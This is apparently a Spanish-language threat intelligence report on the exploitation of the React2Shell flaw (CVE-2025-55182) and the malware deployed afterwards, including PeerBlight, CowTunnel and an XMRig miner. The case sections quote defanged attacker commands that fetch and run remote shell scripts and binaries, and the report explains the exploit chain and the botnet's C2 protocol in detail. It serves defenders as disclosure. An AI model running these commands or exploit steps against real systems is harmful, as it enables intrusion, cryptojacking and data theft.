TL;DR: Huntress está viendo a actores de amenazas explotar una vulnerabilidad en React Server Components (CVE-2025-55182) en varias organizaciones de nuestra base de clientes. Como parte de su actividad de postexplotación, los atacantes han intentado desplegar malware de criptominería, un backdoor de Linux que rastreamos como PeerBlight, un túnel de proxy inverso que llamamos CowTunnel y un implante de postexplotación basado en Go al que denominamos ZinFoq. También observamos una variante de la botnet Kaiji distribuida a través de esta campaña. Dada la facilidad de explotación, recomendamos aplicar los parches de inmediato.
Antecedentes
El 3 de diciembre, una vulnerabilidad crítica (CVSS 10.0) de ejecución remota de código sin autenticación se divulgó públicamente en React Server Components, y el equipo de React recomendó actualizar de inmediato. Apodada “React2Shell”, CVE-2025-55182 se debe a una deserialización insegura en la forma en que React Server Components maneja la lógica del payload, y atacantes sin autenticación pueden explotarla con solo crear una única solicitud HTTP maliciosa. Desde entonces, varios equipos de investigación han comenzado a reportar explotación activa.
Si bien CVE-2025-55182 corresponde a la implementación upstream en React, es posible que escuches sobre “CVE-2025-66478”, que rastrea los efectos downstream en las aplicaciones Next.js. CVE-2025-66478 ya fue rechazada por ser un duplicado de CVE-2025-55182.
Estas son algunas de las conclusiones clave de lo que observamos en la actividad de explotación de React2Shell:
- Hasta el 8 de diciembre, hemos visto a actores de amenazas atacar a numerosas organizaciones mediante la explotación de CVE-2025-55182. Estas organizaciones pertenecen a diversos sectores, incluidas las industrias de la construcción y el entretenimiento.
- Durante nuestras investigaciones sobre la actividad de postexplotación, encontramos una familia de malware de Linux distinta que llamamos PeerBlight. Este backdoor usa la red DHT de BitTorrent como mecanismo de C2 de respaldo, lo que lo hace resistente a los derribos de dominios tradicionales.
- También descubrimos a actores de amenazas usando un payload que llamamos CowTunnel, que funciona como proxy inverso e inicia conexiones salientes a servidores FRP controlados por el atacante.
- Identificamos un implante de postexplotación basado en Go al que denominamos ZinFoq, que incluye reverse shells interactivas, proxy SOCKS5 para pivotar en la red y capacidades de timestomping como técnica antiforense.
- Observamos la distribución de una variante de la botnet Kaiji, que combina capacidades de DDoS con mecanismos de persistencia y abuso del watchdog de hardware para forzar reinicios del sistema si se termina el payload.
A continuación detallamos los intentos de explotación, la actividad de postexplotación y el malware utilizado.
Detalles del exploit
React2Shell es un exploit que aprovecha la forma en que React Server Components procesa el protocolo React Flight. Esta clase de vulnerabilidades, llamadas "vulnerabilidades de deserialización,” engaña al motor de análisis subyacente para que evalúe incorrectamente el payload suministrado. El protocolo React Flight se encarga de transportar los componentes del lado del servidor del framework web. Puedes pensar en React Flight como el “lenguaje” que impulsa las comunicaciones entrantes y salientes de React Server Components en React.
Cuando hablamos de vulnerabilidades de deserialización como React2Shell, a menudo nos referimos a una entrada que debería tener una estructura determinada y que el código que recibe esa solicitud/payload interpreta mal. Huntress conoce bien las vulnerabilidades de deserialización: se topó con una en abril, con una falla crítica en Gladinet CentreStack y Triofox (CVE-2025-30406). A menudo, estas vulnerabilidades representan un riesgo significativo para el sistema vulnerable y permiten ejecutar código no confiable o exponer secretos/credenciales. React2Shell no es la excepción.
Internamente, el payload de deserialización es bastante simple: explota la forma en que React maneja los Chunks, un elemento fundamental de cómo define “qué” debe renderizar/mostrar/ejecutar. Un chunk es esencialmente un ‘bloque de construcción’ de una página web completa, una pieza concisa de “datos” que el servidor evalúa para renderizar/procesar la página web del lado del servidor, en lugar de dejar esa ejecución al navegador. En esencia, todos estos chunks se ensamblan para construir una página web completa con React.
En esta vulnerabilidad, el atacante crea un Chunk que incluye un método “then”. Cuando React Flight envía estos datos a React Server Components, React trata el valor como “thenable”, es decir, algo que se comporta como una Promise. Las Promises equivalen a decir: “Todavía no tengo el resultado, pero déjame ejecutar algo de código y te lo doy más tarde.” Las Promises de Javascript impulsan muchas acciones dinámicas en las páginas web. Este exploit abusa de la forma en que React maneja automáticamente (o malinterpreta) estos valores prometidos.
Con esta breve introducción al exploit, podemos hablar de lo que todo esto significa. Los chunks se referencian con el token “$@”. Analicémoslo con el ejemplo mínimo reproducible (MRE) de Guillermo Rauch, CEO de Vercel.
El investigador de exploits Lachlan Davidson, quien descubrió React2Shell, encontró la forma de expresar todo este asunto del “estado” dentro de la solicitud que falsificó para el servidor. Con un estado de “resolved_model”, Davidson engaña a React Flight para que crea que ya completó los datos del chunk 0. En esencia, falsificó el ciclo de vida de la solicitud para que parezca más avanzado de lo que realmente está. Como React Server Components lo resuelve como ‘thenable’ (por el método ‘then’), se activa una ruta de código que termina ejecutando nuestro código malicioso.
Cuando se evalúa el Chunk 1, React observa que es ‘thenable’, es decir, que parece una promesa. Hace referencia al Chunk 0 y luego intenta resolver el método then falsificado.
Como ahora controlamos la ruta de resolución de “then”, engañamos a React Server Components para que entre en una ruta de código sobre la que tenemos control total.
Cuando _formData.get se establece en un valor que se resuelve a un constructor, React trata ese campo como una referencia a una función constructora que debe hidratar al procesar el valor blob. Esto es crítico porque React rehidrata los valores $B y, en consecuencia, debe invocar nuestro constructor.
Esto convierte a $B en nuestro punto de pivote de ejecución: al obligar a React a hidratar un valor similar a un Blob, React se ve forzado a ejecutar el constructor que Davidson introdujo de contrabando en _formData.get. Como ese constructor se resuelve a nuestra función thenable maliciosa, React ejecuta el código como parte de su proceso de hidratación.
Por último, al definir nuestra primitiva _prefix, anteponemos el código malicioso en la ruta de código ejecutable. Al agregar dos “//” al payload, le indicamos a Javascript que trate el resto como un bloque comentado, lo que nos permite ejecutar solo nuestro código y evitar errores de sintaxis, de forma muy similar a una inyección SQL.
Tradecraft del atacante
Caso #1 (endpoint Windows)
Huntress observó el primer intento de explotación el 4 de diciembre de 2025. El actor de amenazas explotó la instancia vulnerable de Next.js e intentó descargar un payload desconocido en el endpoint Windows con el siguiente comando:
- C:\Windows\system32\cmd.exe /d /s /c "curl hxxp://207.148.79[.]178:6608/sys.sh | bash"
Luego intentó descargar el minero de criptomonedas basado en Linux:
- C:\\Windows\\system32\\cmd.exe /d /s /c \"wget hxxp://216.158.232[.]43:12000/sex.sh && bash sex.sh\"
Aproximadamente 6 horas después, intentaron descargar un backdoor de Linux:
- C:\\Windows\\system32\\cmd.exe /d /s /c \"((curl -sL hxxp://45.32.158.54/5e51aff54626ef7f/x86_64 -o /tmp/x86_64;chmod 777 /tmp/x86_64;/tmp/x86_64) || (wget hxxp://45.32.158.54/5e51aff54626ef7f/x86_64 -O /tmp/x86_64;chmod 777 /tmp/x86_64;/tmp/x86_64))\"
Los actores de amenazas también ejecutaron comandos de reconocimiento como whoami y echo $((41*271)), lo que evaluamos como un intento de comprobar la capacidad de ejecutar comandos e identificar el sistema operativo subyacente.
Figura 1: Explotación de React2Shell vista desde el panel (Caso #1)
Caso #2 (endpoint Windows)
El actor de amenazas intentó descargar varios payloads desde servidores C2:
- C:\WINDOWS\system32\cmd.exe /d /s /c "wget hxxp://45.76.155[.]14/vim -O /tmp/vim ; chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & wait ; rm -f /tmp/vim"
- C:\WINDOWS\system32\cmd.exe /d /s /c "$(curl -s hxxp://keep.camdvr[.]org:8000/d5.sh | bash | gzip -n | base64 -w0)"
Curiosamente, el atacante ejecutó el comando “ver || id”, una técnica de fingerprinting del sistema operativo que sirve para determinar si el sistema comprometido ejecuta Windows o Linux. El comando ver devuelve la versión de Windows, mientras que id devuelve información del usuario en Linux; el operador || garantiza que el segundo comando solo se ejecute si el primero falla, lo que permite al atacante identificar el sistema operativo.
Al igual que en el caso anterior, el atacante también ejecutó un comando para probar la ejecución de código de shell (echo $((41*271))), seguido de comandos de reconocimiento como “whoami” y “hostname” para enumerar el contexto del usuario y la información del sistema.
Figura 2: Explotación de React2Shell vista desde el panel (Caso #2)
Caso #3 (endpoint Windows)
Al igual que en los casos anteriores, el actor de amenazas siguió el mismo patrón de ataque. Primero ejecutó comandos para probar la ejecución de código de shell (echo $((41*271))) y comandos de reconocimiento como whoami para enumerar el contexto del usuario. Luego, el atacante intentó descargar varios payloads desde servidores C2:
- curl hxxp://103.135.101[.]15/wocaosinm.sh;wget hxxp://103.135.101[.]15/wocaosinm.sh;sh wocaosinm.sh;rm -r wocaosinm.sh
- C:\Windows\system32\cmd.exe /d /s /c "$(curl -s hxxp://keep.camdvr[.]org:8000/d5.sh | bash | gzip -n | base64 -w0)"
- C:\Windows\system32\cmd.exe /d /s /c "wget hxxp://vps-zap812595-1.zap-srv[.]com:3000/sex.sh && bash sex.sh"
- C:\Windows\system32\cmd.exe /d /s /c "$(curl -s hxxp://help.093214[.]xyz:9731/fn32.sh | bash | gzip -n | base64 -w0)"
- C:\Windows\system32\cmd.exe /d /s /c "curl -s -L hxxp://31.56.27[.]97/scripts/4thepool_miner.sh | bash -s; wget -qO- hxxp://31.56.27[.]97/scripts/4thepool_miner.sh | bash -s"
Cabe destacar que el dominio de C2 keep.camdvr[.]org también se observó en el Caso #2, lo que indica que probablemente se trate del mismo actor de amenazas o de la misma campaña. Además, este caso introdujo nueva infraestructura de C2, que incluye 103.135.101[.]15, 31.56.27[.]97, help.093214[.]xyz y vps-zap812595-1.zap-srv[.]com. Los comandos siguen la misma metodología: descargar un script de shell, ejecutarlo mediante bash y, en algunos casos, eliminar el script para borrar evidencia (rm -r wocaosinm.sh).
Figura 3: Explotación de React2Shell vista desde el panel (Caso #3)
Caso #4 (endpoint Linux)
A diferencia de los casos anteriores en Windows, este ataque tuvo como objetivo un endpoint Linux que ejecutaba una aplicación Next.js. El atacante explotó con éxito la vulnerabilidad y desplegó un minero de criptomonedas XMRig.
Tras el compromiso inicial, la postexplotación siguió un patrón similar al de los casos anteriores en Windows, comenzando con sondeos de vulnerabilidad (echo VULN_TEST_123456 | base64 -w 0) y pruebas de código de shell (echo $((40872*40785))) para confirmar la ejecución de comandos.
Luego, los atacantes intentaron descargar y ejecutar payloads adicionales desde varios servidores C2:
- wget hxxp://39.97.229[.]220:8006/httd && chmod 777 httd && ./httd
- curl -sL hxxp://45.32.158[.]54/5e51aff54626ef7f/x86_64 -o /tmp/x86_64; chmod 777 /tmp/x86_64; /tmp/x86_64
- wget -q hxxp://38.165.44[.]205/1 -O ntpclient
- wget -qO- hxxp://38.165.44[.]205/k | sh
La persistencia se estableció creando un directorio oculto para camuflarse entre los servicios legítimos de systemd. Se descargaron payloads adicionales y se hicieron ejecutables, incluido un archivo llamado ntpclient, probablemente nombrado así para hacerse pasar por un cliente NTP legítimo.
Figura 4: Explotación de React2Shell vista desde el panel (Caso #4)
Con base en el patrón consistente observado en varios endpoints, que incluye sondeos de vulnerabilidad idénticos, pruebas de código de shell e infraestructura de C2, evaluamos que el actor de amenazas probablemente usa herramientas de explotación automatizadas. Esto se ve respaldado además por los intentos de desplegar payloads específicos de Linux en endpoints Windows, lo que indica que la automatización no distingue entre sistemas operativos objetivo.
En uno de los endpoints comprometidos, el análisis de logs reveló evidencia de escaneo automatizado de vulnerabilidades antes de la explotación. El actor de amenazas usó una herramienta de GitHub disponible públicamente para identificar instancias vulnerables de Next.js antes de lanzar su ataque.
Los logs capturaron la siguiente cadena de User-Agent asociada con la actividad de escaneo previa a la explotación:
- Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/60.0.3112.113+Safari/537.36+Assetnote/1.0.0
Este User-Agent coincide con el user-agent predeterminado de react2shell-scanner, una herramienta de código abierto publicada por Assetnote para detectar instancias de Next.js vulnerables a CVE-2025-55182.
Caso #5 (endpoint Linux)
Tras el compromiso inicial de la instancia de Next.js, el actor de amenazas ejecutó un script de bash codificado en base64 entregado a través de la línea de comandos:
- /bin/sh -c ping -c 2 `echo IyEvYmluL2Jhc2gKCiMgQ29uZmlndXJhdGlvbgpUQVJfRklMRT0ia2FsLnRhci5neiIK...
El payload decodificado reveló una rutina de despliegue de criptominería que descarga XMRig v6.24.0 directamente desde los releases oficiales de GitHub. El minero estaba configurado para conectarse a pool.hashvault[.]pro con la dirección de billetera de Monero 49pYi8efZGnFZWuFxgxQJ4iZZjGx8TryNfEZ9S9YSHUs1rNBWTKRaMnYKKuvUABHV5W41f4pk6z7j3AuFW9qFnFkEo3V1cw.
Cuando se ejecuta con privilegios de root, el script establece persistencia mediante systemd y crea un servicio llamado “system-updates-service”. Cabe destacar que, antes de la instalación, el script intenta detener servicios con nombres similares (system-update-service, systems-update-service), una técnica común de los criptomineros para eliminar mineros de la competencia o instalaciones previas en el endpoint. Si la persistencia mediante systemd falla, el script recurre a ejecutar el minero con “nohup”.
Figura 5: Explotación de React2Shell vista desde el panel (Caso #5)
Análisis de payloads
sex.sh
"sex.sh" es un script de bash que descarga XMRig 6.24.0 directamente desde GitHub. El minero se conecta al pool de HashVault (pool.hashvault[.]pro) mediante TLS en el puerto 443 con una billetera de Monero codificada de forma fija. La persistencia depende de los privilegios. Con acceso root, el script instala un servicio de systemd llamado "system-update-service". Este servicio está configurado para iniciarse automáticamente al arrancar y reiniciarse indefinidamente si se termina. Sin root, el script recurre a lanzar el minero en segundo plano con nohup, lo que le permite persistir más allá de la sesión de shell actual. Al momento del análisis, la billetera no muestra mineros activos y su hashrate es cero, lo que sugiere que la campaña está inactiva o que la billetera fue rotada.
Figura 6: Contenido del script de bash “sex.sh”
RotaJakiro, Pink Botnet… ¿eres tú?
Durante nuestra investigación en curso sobre la infraestructura de Next.js comprometida, recuperamos un backdoor de Linux observado en el Caso #4 (SHA256:
a605a70d031577c83c093803d11ec7c1e29d2ad530f8e95d9a729c3818c7050d) compilado con musl libc. El backdoor implementa un framework completo de comando y control que usa la red DHT (Distributed Hash Table) de BitTorrent como mecanismo de respaldo para resolver el C2, lo que lo hace resistente a los derribos de dominios tradicionales.
El análisis revela cierta superposición de código con RotaJakiro, un backdoor documentado por primera vez por 360 Netlab en 2021 que pasó desapercibido durante más de tres años. Si bien esta muestra comparte mecanismos de persistencia y convenciones de nomenclatura con RotaJakiro, un análisis más profundo confirma que se trata de una familia de malware distinta. El protocolo de comunicación, la arquitectura de cifrado y la estructura de comandos son fundamentalmente diferentes tanto de RotaJakiro como de su presunto predecesor, Torii.
Esta muestra es un desarrollo independiente que tomó prestado el código de persistencia de RotaJakiro, o bien el trabajo del mismo autor detrás de la botnet Torii. Para fines de seguimiento, llamamos a este backdoor “PeerBlight”.
Mecanismos de persistencia
Servicio de systemd (root)
Cuando se ejecuta con privilegios de root, PeerBlight instala una unidad de servicio de systemd que garantiza que el backdoor sobreviva a los reinicios del sistema. El archivo del servicio se escribe en “/lib/systemd/system/systemd-agent.service”:
El binario se copia a sí mismo en /bin/systemd-daemon y habilita el servicio con la descripción genérica "System Daemon".
Configuración de Upstart (sistemas heredados)
En sistemas más antiguos que usan Upstart en lugar de systemd, PeerBlight despliega un mecanismo de persistencia alternativo en /etc/init/systemd-agent.conf:
El bloque de comentarios está redactado para parecer documentación legítima del sistema y menciona "kernel object" para darle credibilidad.
Persistencia en modo usuario (sin root)
Cuando se ejecuta sin privilegios de root, el backdoor crea un directorio oculto que imita la convención de nomenclatura “PrivateTmp” de systemd y se copia a sí mismo como “softirq”:
- $HOME/.ksoftirqd-private-f393y1moabubffpqvozboktusmfzqj1k-ksoftirqd-softirq.service-NjSR4/softirq
Si el directorio home no tiene permisos de escritura, usa “/tmp” en su lugar.
Enmascaramiento de procesos
En la ejecución inicial, PeerBlight sobrescribe argv[0] en memoria para ocultar su ruta original (p. ej., /tmp/backdoor) y la reemplaza con [ksoftirqd]. Esto modifica /proc/<pid>/cmdline, que herramientas como ps aux y ps -ef leen para mostrar la línea de comandos. También llama a prctl(PR_SET_NAME, "[ksoftirqd]") para establecer el nombre del proceso del kernel en /proc/<pid>/comm, que herramientas como top, htop y ps -e leen para mostrar el nombre del proceso.
Al modificar ambas ubicaciones, el backdoor se disfraza de forma consistente en las distintas herramientas de monitoreo del sistema. El nombre [ksoftirqd] imita los hilos legítimos del manejador de interrupciones de software del kernel (p. ej., [ksoftirqd/0], [ksoftirqd/1]) que existen en todo sistema Linux. Los corchetes son una convención de Linux que indica hilos del kernel, por lo que el proceso malicioso parece una parte normal del sistema operativo durante una inspección.
Figura 7: PeerBlight sobrescribe argv[0] y llama a prctl() para hacerse pasar por [ksoftirqd]
Comando y control
Comandos de C2
El backdoor admite diez comandos que se despachan mediante un sistema basado en tareas. Cada comando se recibe como un objeto JSON que contiene un campo “task” que identifica el comando y un “taskid” para rastrear las respuestas.
|
Comando |
Parámetros |
Descripción |
|
updateSleepTime |
interval, jitterPercent |
Ajusta el intervalo de beacon y el porcentaje de jitter |
|
downloadFile |
path, detalles del servidor de archivos |
Descarga un archivo desde una URL especificada a la víctima |
|
uploadFile |
path, detalles del servidor de archivos |
Exfiltra un archivo de la víctima al C2 |
|
reverseShell |
terminalServAddr, terminalServPort, shellPath, shellArgs |
Abre una reverse shell hacia una dirección y un puerto especificados |
|
chmod |
path, mod |
Cambia los permisos de un archivo |
|
rm |
path |
Elimina un archivo |
|
upgrade |
upgradeFileName, detalles del servidor de archivos |
Descarga y ejecuta una nueva versión del implante |
|
runexe |
path, args, tag |
Ejecuta un binario arbitrario; tag es una etiqueta definida por el atacante |
|
listrunexe |
ninguno |
Enumera los procesos hijos creados por runexe |
|
killrunexe |
tag |
Termina los procesos creados según su tag (usa "all" para todos) |
El comando “reverseShell” acepta parámetros para la dirección del servidor de terminal (terminalServAddr), el puerto (terminalServPort), la ruta de la shell (shellPath) y los argumentos de la shell (shellArgs), lo que permite al operador especificar un binario de shell personalizado.
El comando upgrade descarga y ejecuta un binario de reemplazo para actualizar el implante. En lugar de descargarlo directamente del servidor C2, el comando acepta parámetros para un servidor de archivos aparte: upgradeFileServerAddr (IP/hostname), upgradeFileServerPort (puerto) y upgradeFileServerFileName (nombre del archivo remoto). Esta separación permite al actor de amenazas alojar versiones actualizadas del backdoor en otra infraestructura, como servidores comprometidos o almacenamiento en la nube, independiente del C2 principal.
Servidor C2 principal
El backdoor primero intenta conectarse a su servidor C2 codificado de forma fija en 185.247.224[.]41:8443. La comunicación se realiza mediante sockets TCP sin procesar. El backdoor genera una clave AES-256 y un vector de inicialización aleatorios, los cifra con una clave pública RSA-2048 codificada de forma fija y transmite el material de clave cifrado al servidor. El binario incluye otra clave pública RSA-2048 para verificar las firmas de configuración de DHT, lo que garantiza que solo el operador pueda enviar actualizaciones de C2 a través de la red P2P. Una vez completado el intercambio de claves, toda la comunicación posterior se cifra con AES-256. Tras conectarse con éxito, el implante envía un beacon en formato JSON.
El campo id está vacío en la conexión inicial; el servidor puede asignar un identificador único que el backdoor almacena para los beacons posteriores. El campo group es un identificador de campaña codificado de forma fija. El campo tag no se usa en esta muestra.
Algoritmo DGA
El backdoor deriva su semilla de DGA mediante un proceso de hashing de varios pasos. Primero, calcula el hash SHA-256 de la cadena de fecha “Tue, 15 Jul 2025 00:00:00 GMT”, lo que produce un digest de 32 bytes. Luego, inicializa un valor de resultado con la constante “0xDEADBEAF” y procesa el hash en chunks de 4 bytes. Para cada chunk, rota el resultado actual a la izquierda la cantidad de bits indicada en el cuarto byte de ese chunk y luego aplica XOR entre el valor rotado y el chunk con los bytes invertidos. Este proceso se repite ocho veces a lo largo de todo el hash de 32 bytes y produce una semilla final de 32 bits que inicializa un generador de números pseudoaleatorios Mersenne Twister. Luego, el PRNG selecciona de forma determinista palabras de tres diccionarios incrustados que contienen 219, 509 verbos y 279 sustantivos. Estas palabras se concatenan siguiendo uno de cuatro patrones: sujeto-verbo-sustantivo, sujeto-verbo, sujeto-sustantivo o verbo-sustantivo, y luego se les agrega uno de 18 dominios de nivel superior, entre ellos com, net, org, xyz, dev y tech. Para cada dominio generado, el PRNG también produce un número de puerto correspondiente en el rango 1024-49151. El backdoor prueba hasta 200 combinaciones “dominio:puerto” antes de agotar sus opciones de respaldo.
Figura 8: Fragmento de un diccionario incrustado usado para el DGA
Respaldo mediante la DHT de BitTorrent
Si fallan tanto el C2 principal como los 200 dominios del DGA, PeerBlight recurre a la red Distributed Hash Table de BitTorrent. El backdoor se integra a la DHT conectándose a infraestructura legítima de BitTorrent:
|
Nodo de arranque |
Dirección IP |
|
router.bittorrent[.]com |
67.215.246[.]10 |
|
router.utorrent[.]com |
82.221.103[.]244 |
|
dht.transmissionbt[.]com |
87.98.162[.]88 |
Al unirse a la red DHT, el backdoor se registra con un ID de nodo que comienza con el prefijo codificado de forma fija LOLlolLOL (hex: 4c4f4c6c6f6c4c4f4c). Este prefijo de 9 bytes sirve como identificador de la botnet, y los 11 bytes restantes del ID de nodo DHT de 20 bytes son aleatorios. Cuando el backdoor recibe respuestas DHT con listas de nodos, busca otros nodos cuyos ID comiencen con LOLlolLOL. Cuando encuentra un nodo coincidente, sabe que se trata de otra máquina infectada o de un nodo controlado por el atacante que puede proporcionar la configuración del C2.
Un escaneo activo de la red DHT de BitTorrent confirmó la presencia de numerosos nodos LOLlolLOL en circulación. Durante un rastreo de 500 nodos DHT, identificamos más de 60 nodos únicos con el prefijo LOLlolLOL, distribuidos entre ISP residenciales de todo el mundo. Aunque estos nodos respondían a consultas DHT estándar, para extraer la configuración del C2 había que cumplir requisitos específicos del protocolo.
Protocolo de distribución de la configuración
Para que un bot infectado comparta su configuración con otro nodo, deben cumplirse tres condiciones:
- Versión de cliente válida: el nodo solicitante debe incluir en su consulta DHT un campo de versión de 4 bytes (1:v) que supere una verificación matemática. El backdoor valida que cada byte posterior siga la fórmula b[n] = (109 * b[n-1] + 83) mod 256.
- Disponibilidad de la configuración: el bot que responde debe haber recibido y almacenado previamente una configuración y una firma válidas.
- Respuesta aleatoria: incluso cuando se cumplen todas las condiciones, los bots solo comparten la configuración aproximadamente un tercio de las veces según una comprobación aleatoria, probablemente para reducir el ruido en la red y evitar la detección.
Cuando un bot infectado envía una consulta DHT find_node con el ID de transacción “cg” a un nodo “LOLlolLOL” que tiene configuración, el nodo responde con dos campos personalizados incrustados en la respuesta DHT estándar:
- cg (config): JSON cifrado con XOR que contiene los parámetros del C2
- sg (firma): firma RSA para la verificación
El backdoor descifra estos campos con un XOR rotativo:
Después del descifrado, el backdoor verifica la firma RSA con una segunda clave pública codificada de forma fija para evitar manipulaciones. La configuración descifrada contiene parámetros de C2 actualizados, entre ellos cncip, cncport, srvk (clave del servidor) y una marca de tiempo para que las configuraciones más nuevas reemplacen a las anteriores. Cabe destacar que estos nombres de campos y el patrón de descifrado XOR (i % 255 ^ constant) coinciden directamente con el esquema de configuración de la botnet Pink documentado por Netlab 360 en 2021.
Extracción de la configuración
Al crear consultas DHT que cumplían las tres condiciones (ID de nodo LOLlolLOL falsificado, bytes de versión de cliente válidos e ID de transacción correcto), logramos extraer una configuración activa, como se muestra a continuación.
Figura 9: La consulta DHT devuelve la configuración cifrada del C2
La marca de tiempo corresponde al 30 de octubre de 2025, lo que confirma que la campaña está distribuyendo activamente direcciones de C2 actualizadas a través de la red DHT. El nuevo servidor C2 (49.51.230[.]175:9898) está alojado en Tencent Cloud (AS132203).
Verificación de firmas
Para evitar que terceros no autorizados secuestren la botnet enviando configuraciones falsas, cada configuración está firmada criptográficamente. El campo “sg” contiene una firma RSA de 256 bytes creada con la clave privada del operador. Cuando un bot recibe una configuración vía DHT, realiza la siguiente verificación:
- Calcula el SHA-256 del JSON “cg” descifrado (hash de la configuración)
- Usa la clave pública codificada de forma fija para descifrar con RSA el campo “sg”
- Extrae el hash de la firma descifrada y lo compara con el hash calculado de la configuración
Si los hashes coinciden, la configuración es auténtica. Verificamos la firma de la configuración extraída con la clave pública del binario. Esto confirma que la configuración fue firmada por alguien que posee la clave privada. Sin esta clave, nadie puede falsificar configuraciones válidas, aunque logre unirse a la red DHT con un ID de nodo “LOLlolLOL”.
Figura 10: Fragmento del código que verifica la firma de la configuración DHT
Al investigar más a fondo, encontramos una muestra de PeerBlight que data de julio de 2025 en VirusTotal.
CowTunnel
El payload NTPClient observado en el Caso #4 (SHA256: 776850a1e6d6915e9bf35aa83554616129acd94e3a3f6673bd6ddaec530f4273) funciona como proxy inverso en lugar de como un backdoor tradicional. Cuando se ejecuta en un endpoint comprometido, el payload inicia una conexión saliente a servidores FRP controlados por el atacante. Este modelo de conexión saliente es importante porque la mayoría de los firewalls están configurados para bloquear las conexiones entrantes y permitir el tráfico saliente, lo que permite que el túnel evada las defensas perimetrales. Una vez conectado, el payload registra servicios locales en el servidor FRP, como el daemon de telnet incrustado en el puerto 2323. Luego, los atacantes pueden conectarse a su servidor FRP y acceder a estos servicios como si estuvieran conectados directamente a la máquina de la víctima.
El binario está compilado estáticamente con musl libc. El payload consta de dos componentes. El primero es un wrapper malicioso desarrollado por los atacantes llamado "NSS", que analiza la configuración cifrada, ejecuta un servidor WebSocket que se hace pasar por nginx, gestiona la conmutación por error entre varios servidores C2 y crea cuentas de usuario de backdoor. El segundo componente es xfrpc versión 2.9.644, un cliente FRP de código abierto mantenido en GitHub. NSS lanza xfrpc como subproceso para que se encargue del tunneling en sí. La versión 2.9.644 incluye un plugin telnetd que permite el acceso a shell a través del túnel. Con base en la clave XOR y la funcionalidad del payload, decidimos llamarlo “CowTunnel”.
Cuando CowTunnel se inicia, realiza varios pasos de inicialización para garantizar un funcionamiento confiable y evitar interferencias de otras instancias. La función principal analiza los argumentos de la línea de comandos: “-c” especifica la ruta del archivo de configuración, “-d” habilita el modo daemon, “-k” termina cualquier instancia existente, “-l” enumera los procesos en ejecución que coinciden con el nombre del payload y “-D” habilita la salida de depuración detallada.
Antes de continuar con su funcionalidad principal, el payload comprueba si ya hay otra instancia en ejecución recorriendo “/proc”, examinando cada directorio numérico y leyendo el nombre del proceso. Si encuentra otro proceso con el mismo nombre, registra “[nss] Program already running, exiting”. y la nueva instancia termina, dejando en ejecución la existente. La opción “-k”, como se mencionó, termina cualquier instancia existente antes de iniciarse. Cuando el modo daemon está habilitado, el backdoor realiza un doble fork estándar de Unix para desvincularse de la terminal de control y redirige la entrada, la salida y el error estándar a “/dev/null”. Esto permite que el proceso siga ejecutándose en segundo plano después de cerrar la terminal, pero no establece persistencia tras los reinicios del sistema.
Descifrado de la configuración y comando y control
CowTunnel almacena sus parámetros operativos en un archivo de configuración externo que debe descifrarse en tiempo de ejecución. Esto permite a los actores de amenazas desplegar el mismo binario en varias víctimas con configuraciones diferentes. Evita que un análisis superficial revele la infraestructura de C2. Y permite actualizar la configuración sin recompilar ni redistribuir el binario. Cabe señalar que la ubicación del archivo de configuración no está codificada de forma fija en el binario. Los actores de amenazas especifican la ruta en tiempo de ejecución con el argumento de línea de comandos -c (en nuestro caso, el archivo de configuración estaba en “/home/<username>/.systemd-utils/conf”).
Para descifrar el archivo de configuración, el payload primero decodifica la entrada en Base64, luego aplica la clave XOR byte por byte, de modo que a cada byte de la entrada se le aplica XOR con “key[position % 15]”, y finalmente descomprime el resultado con la funcionalidad gunzip de zlib. El payload también incluye logs de depuración que revelan cada paso del proceso con estos mensajes:
- [nss] decrypt_data: begin len=%zu
- [nss] decrypt_data: base64 ret=%d out_len=%zu cap=%zu
- [nss] decrypt_data: after xor pos=%u
- [nss] decrypt_data: gunzip ret=%d out=%p out_len=%zu
La configuración de CowTunnel descifrada:
El campo “dev_id” sirve como identificador único del endpoint comprometido, y probablemente los actores de amenazas lo usan para rastrear y gestionar su acceso en varias víctimas. El campo frps_areas, con el valor US_0001, parece ser un identificador de campaña o de segmentación geográfica, lo que sugiere que esta infraestructura apunta específicamente a sistemas en Estados Unidos y que podría ser una de varias campañas simultáneas. La ruta, el nombre de usuario y la contraseña de WebSocket configuran el servidor WebSocket local que proporciona un canal de comunicación adicional.
El arreglo “frps_cfgs” contiene la infraestructura de comando y control con tres servidores redundantes. Cuando el payload se inicia, intenta conectarse al primer servidor de la lista y registra “[nss] Using frps server %d: %s:%d. Si la conexión falla, mensajes de depuración como error: “connect server [%s:%d] failed %s (consecutive_errors: %d/%d)” registran el fallo, y el payload rota automáticamente al siguiente servidor. Recorre todos los servidores disponibles antes de rendirse y vuelve a intentarlo periódicamente incluso después de agotar la lista, lo que garantiza que los problemas temporales de red no corten el acceso de forma permanente.
Servidor telnet
El payload incluye un servidor telnet del plugin telnetd de xfrpc, que se inicia en el puerto 2323 de forma predeterminada. Al inicializarse, registra “Starting telnetd on port %d” y comprueba si existe “/bin/login” para gestionar la autenticación. Si no encuentra una shell de inicio de sesión, registra “No login shell found at %s” y falla de forma controlada.
Cuando llega una conexión a través del túnel FRP, el servidor crea una pseudoterminal y ejecuta “/bin/login”, lo que presenta un prompt de inicio de sesión estándar de Linux a quien se conecte. Esto significa que los actores de amenazas necesitan credenciales válidas para obtener acceso a la shell.
Figura 11: Rutina de inicialización de telnetd de CowTunnel
Capacidades de proxy adicionales
Además del servidor telnet, CowTunnel admite varios otros tipos de proxy para el acceso remoto. Si la creación del servicio de proxy falla inesperadamente, se registra el error “cannot create proxy service, it should not happenned!”. Si se especifica un tipo de proxy no compatible, aparece el mensaje “proxy service type %s is not supported”.
Proxy SOCKS5
El proxy SOCKS5 permite pivotar en la red a través del endpoint comprometido. Una vez establecido, los actores de amenazas pueden enrutar tráfico TCP arbitrario a través de la red de la víctima y acceder a recursos internos que de otro modo serían inaccesibles desde internet. El puerto predeterminado es 1980 y el nombre de grupo predeterminado es “chatgptd”, que aparece en los logs del servidor FRP para organizar varias conexiones de proxy. Los mensajes de depuración rastrean el proceso de conexión con “socks5_proxy_connect, type: %d, ip: %s, port: %d” en caso de éxito y “socks5_proxy_connect failed, type: %d” en caso de fallo. El mensaje “socks5 proxy client can't connect to remote server here …” indica que el proxy no puede llegar al destino.
Proxy TCP
